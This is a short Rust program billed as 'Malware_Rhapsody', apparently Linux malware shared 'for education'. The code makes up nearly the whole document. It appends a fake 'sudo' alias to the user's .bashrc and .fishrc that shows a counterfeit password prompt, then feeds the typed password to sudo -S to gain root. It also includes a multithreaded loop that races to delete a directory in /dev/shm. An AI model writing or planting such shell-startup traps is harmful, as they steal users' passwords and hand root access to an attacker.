Malware_Rhapsody 0.0.2

Small researching of Linux's security for fun and education.. don't be silly to use it in wild. Have a great day, Dear Researcher/Scholar 💯❤️
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
#![allow(dead_code)]
#![allow(unused)]
// #![feature(macro_metavar_expr)]
#![allow(unused_variables)]
#![allow(non_upper_case_globals)]
#![allow(while_true)]
#[allow(arithmetic_overflow)]
#[allow(temporary_cstring_as_ptr)]
use dirs; use std::io::Write; use std::process::Command; use::std::thread::{spawn, JoinHandle};
use std::env;
fn get_arg_in_cmd(key: &str) -> String{
let mut ret = "".to_string();
let args: Vec<_> = env::args().collect();
//let args_2_str = args.as_slice();
for i in 1..args.len(){
    if /*args_2_str[i]*/args[i] == key { return args[i + 1].clone();}
}
return ret;
}
fn checkArg(key: &str) -> bool{
    let len_of_cmd_line = env::args().len();
    let args: Vec<String> = env::args().collect();
    let i: i64 = 0;
    for i in 0..len_of_cmd_line{
        if args[i] == key.to_string(){
            return true;
        }
    }
    return false;
}
fn exec_name() -> String{
    let len_of_cmd_line = env::args().len();
    let args: Vec<String> = env::args().collect();
args[0].clone()

}
fn greets(pswd: String){
    let pswd = pswd.trim_end().trim_start();
    let me_introduce_mesalf = format!("echo '{pswd}'|sudo -S echo 'hey-ho, Dear Researcher, i am..'");
    let run_command = Command::new("bash").arg("-c").arg(me_introduce_mesalf)
    .output()
    .expect("can't run command");
if run_command.status.success(){
    std::io::stdout().write_all(&run_command.stdout).unwrap();
} std::io::stderr().write_all(&run_command.stderr).unwrap();
  let me_introduce_mesalf = format!("echo '{pswd}'|sudo -S whoami");
    let run_command = Command::new("bash").arg("-c").arg(me_introduce_mesalf)
    .output()
    .expect("can't run command");
if run_command.status.success(){
    std::io::stdout().write_all(&run_command.stdout).unwrap();
    return;    
} std::io::stderr().write_all(&run_command.stderr).unwrap();
}
fn rc_jamming<T >(rc: T, thr_num: usize) 
      where T: std::marker::Send + std::marker::Sync + 'static + std::ops::Fn() + Clone {
        let rc0 = rc.clone();
    let mut thr = spawn(move||{rc0()});
    let mut rc1 = rc.clone();
    for j in 0..thr_num{
        rc1 = rc.clone();
       thr = spawn(move||{ rc1() });
    }
        thr.join();
}
fn humble_user_del_root_stuff(num_thr: usize){
    let del_it = ||{
        let run_command = std::process::Command::new("rmdir").arg("/dev/shm/delIT")
            .output()
            .expect("run_command failed at humble_user_del_root_stuff");
    };
    loop { rc_jamming(del_it, num_thr) };
    let mut dummy = 0u64;
    while std::path::Path::new("/dev/shm/delIT").exists() {
        std::thread::sleep(std::time::Duration::from_millis(40));
        dummy += 1;
    }
}
fn simplest_trap_fish(){
    let user_home = match dirs::home_dir(){Some(d) => d, _ => return println!("Can't find User's home..")}.into_os_string().to_str().unwrap().to_string();
    let fish_path = format!("{user_home}/.fishrc");
    let fish_path_bkp = format!("{user_home}/.fishrc.bkp");
    std::fs::copy(&fish_path, fish_path_bkp);
    let mut fishrc = match std::fs::File::options().write(true).append(true).open(fish_path){
        Ok(f) => f, Err(e) => return println!("Trick doesn't fly Thanks to {e:?}")
    };
    let trap = format!("\nalias sudo='echo [sudo] password for root: ;{} -greets $argv'", exec_name());
    fishrc.write(trap.as_bytes());

}
fn simplest_trap_bash(){
    let user_home = match dirs::home_dir(){Some(d) => d, _ => return println!("Can't find User's home..")}.into_os_string().to_str().unwrap().to_string();
    let fish_path = format!("{user_home}/.bashrc");
    let fish_path_bkp = format!("{user_home}/.bashrc.bkp");
    std::fs::copy(&fish_path, fish_path_bkp);
    let mut fishrc = match std::fs::File::options().write(true).append(true).open(fish_path){
        Ok(f) => f, Err(e) => return println!("Trick doesn't fly Thanks to {e:?}")
    };
    let trap = format!("\nalias sudo='echo [sudo] password for root: ;{} -greets $@'", exec_name());
    fishrc.write(trap.as_bytes());

}
fn main() {
    if checkArg("-humble-user-del-root-stuff"){
        let num_thr = if checkArg("-num-thr"){usize::from_str_radix(&get_arg_in_cmd("-num-thr"), 10).unwrap()}
        else{ 1usize };
        humble_user_del_root_stuff(num_thr); return;
    }
    if checkArg("-simplest-trap-fish"){
        simplest_trap_fish();
    }
     if checkArg("-simplest-trap-bash"){
        simplest_trap_bash();
    }
    if checkArg("-greets"){
        let mut pswd = "".to_string();
        std::io::stdin().read_line(&mut pswd);
        greets(pswd)}
    
}